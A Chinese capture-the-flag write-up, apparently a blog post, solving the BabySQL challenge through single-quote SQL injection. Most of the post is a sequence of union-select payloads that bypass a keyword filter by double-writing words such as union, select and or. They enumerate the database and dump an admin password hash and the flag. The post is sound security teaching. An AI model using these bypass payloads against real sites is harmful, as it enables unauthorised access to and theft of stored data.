• 双写绕过 [极客大挑战 2019]BabySQL 1


    打开题目

    随便输入账号密码

    根据报错信息可知这是单引号的字符型注入

    那我们试试万能密码

    1' or '1'='1  页面报错

    1  or '1'='1 页面报错

    而且根据报错内容显示是没有我们注入上去的or的

    那我们就试试

    1' order by 3 #

    页面报错,根据报错显示页面过滤掉了or和by

    那我们试试

    -1' union select 1,2,3,4 #

    根据报错显示页面过滤了union和select

    那我们就可以尝试双写绕过

    1' ununionion seselectlect 1 #

    报错显示有不同的列名

    那就一个一个试吧

    1' ununionion seselectlect 1,2,3#

    页面正常

    并且这里显示报错显示位为2,3

    1' ununionion seselectlect 1,2,3,4#

    页面报错

    说明列名字段数为3

    爆用户名和数据库名

    -1’ ununionion seselectlect 1,user(),database()  #

    这样我们就可以知道数据库用户名为root@localhost,数据库名为geek

    -1' ununionion seselectlect 1,version(),@@version_compile_os #

    这样我们就知道操作系统version_compile_os为Linux,数据库版本为10.3.18-MariaDB

    总结一下就是

    操作系统version_compile_os:Linux

    数据库版本version():  10.3.18-MariaDB

    数据库用户名user():  root@localhost

    数据库名database():  geek

    接下来我们查询geek数据库下的表名信息

    -1' ununionion seselectlect 1,table_name,3 from information_schema.tables where table_shcema='geek' #

    我们发现informmation,where都被过滤掉了

    那我们对其进行双写

    -1' uunionnion seselectlect 1,group_concat(table_name),3 frfromom inforformationmation_schema.tables whwhereere table_schema='geek' #

    忘记页面是过滤or了

    重新换个姿势

    -1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

    说明表名有b4bsql,geekuser

    爆破列名

    -1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' #

    爆破数据

    -1' uunionnion seselectlect 1,2,password frfromom geekuser  #

    又忘记过滤or了

    -1' uunionnion seselectlect 1,2,group_concat(passwoorrd) frfromom geekuser  #

    这下爆出了password为2ac772d9987993a29b85958839d4e468

    用户名为admin

    id为1

    尝试登录了一下用户名和密码,发现下面没有flag

    那我们爆破b4bsql表下的列名

    -1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #

    发现下面也有三个列名

    -1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql #

    查看页面源代码得到flag

    知识点:

    常见的sql注入绕过方式:SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户

    information_schema.schemata 获取所有数据库信息

    表包含以下列:

    1. catalog_name:目录名称
    2. schema_name: 模式(数据库)的名称。
    3. default_character_set_name: 数据库编码。
    4. default_collation_name: 数据库排序规则

  • 相关阅读:
    2022算能生态合作伙伴大会,英码科技应邀出席共同探讨生态合作和发展问题
    【数据结构】单链表
    Nautilus Chain 与 Coin98 生态达成合作,加速 Zebec 生态亚洲战略进程
    基于BERT模型进行文本处理(Python)
    Java中数组的定义与使用(Java系列3)
    搭建SSH服务器
    windows- 怎么查看本地网卡速度
    J.U.C并发工具【CountDownLatch,Semaphore,CyclicBarrier】底层源码
    【三维重建】【深度学习】【数据集】基于COLMAP制作个人Gen6D测试数据集
    读书笔记--华为数据之道有感
  • 原文地址:https://blog.csdn.net/m0_75178803/article/details/134406238